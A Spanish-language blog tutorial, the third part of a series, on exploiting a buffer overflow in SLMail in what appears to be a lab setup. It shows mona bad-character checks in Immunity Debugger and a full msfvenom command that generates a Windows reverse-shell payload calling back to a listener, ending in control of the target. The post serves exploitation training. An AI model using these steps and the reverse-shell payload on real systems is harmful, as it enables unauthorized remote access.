Buffer Overflow Básico. Parte 3.
En esta parte cerramos los post de buffer overflow básico :)
Bueno, siguiendo el flujo anterior, ya tenemos nuestro Script con una dirección de memoria que nos permitiría saltar a nuestro shellcode.
Ahora creamos un bytearray con mona
En breve descripción este bytearray, nos genera un tipo de shellcode que nos permitirá detectar si existe algún carácter nulo o que nos interrumpa la ejecución del shellcode final
Ya que vamos a mencionar en varias ocasiones el termino shellcode, es necesario saber que es un shellcode
Según wikipedia: Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes (conjunto de valores hexadecimales) que suelen ser inyectadas en la pila (o stack) de ejecución de un programa para conseguir que la máquina en la que reside se ejecute la operación que se haya programado.
Bueno ya que tenemos claro que es un shellcode, comprobamos los bytes que puedan ser corrupto y interrumpir la ejecución de nuestro shellcode
Modificamos el Script y lo ejecutamos
El resultados es
Si observamos la imagen, vemos que para comprobar que bytes corruptos hay, usamos el siguiente comando en el immunity debugger y llamando el Script de mona
!mona compare -f C:\Users\IEUser\Desktop\logsSLMAIL\bytearray.bin -a 0179a128
Recordando que la dirección 0179a128, es la dirección de memoria que aparece en el EIP
Ahora generamos otro bytearray pero con la opción -b \x00, diciéndole que los bytes \x00 no lo incluya
Repetimos el flujo varias veces hasta que nos presente una imagen como esta, la cual nos dice que ya no ahí bytes corruptos
Recordamos que después de la opción -a, va la dirección de memoria que aparece en el EIP
Cuando ya sabemos cuales son los bytes corrupto, entonces ahora generamos un shellcode con el msfvenom de nuestro querido metasploit
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.13 LPORT=153 -a x86 --platform windows -b "\x00\x0a\x0d" -f c
Recuerden cambiar el LHOST por la dirección ip que tengan en el momento
Después que nos genero el shellcode, lo insertamos en el Script y remplazamos el que teníamos del bytearray
Para finalizar, modificamos el Script el cual pueden descargar desde el github oficial y se le agrego algunos nops el cual estaremos explicando en post posteriores, ya que existen varias formas para detectar la cantidad a usar
Bueno, ahora ejecutamos el Script como súper usuario
Y tomas control de la maquina :)
Cualquier duda o pregunta dejen sus comentarios 👋
Referencias:
https://www.exploit-db.com/exploits/638/
https://github.com/risataimpt/Archivos_del_Blog/tree/master/slmail
No hay comentarios.:
Publicar un comentario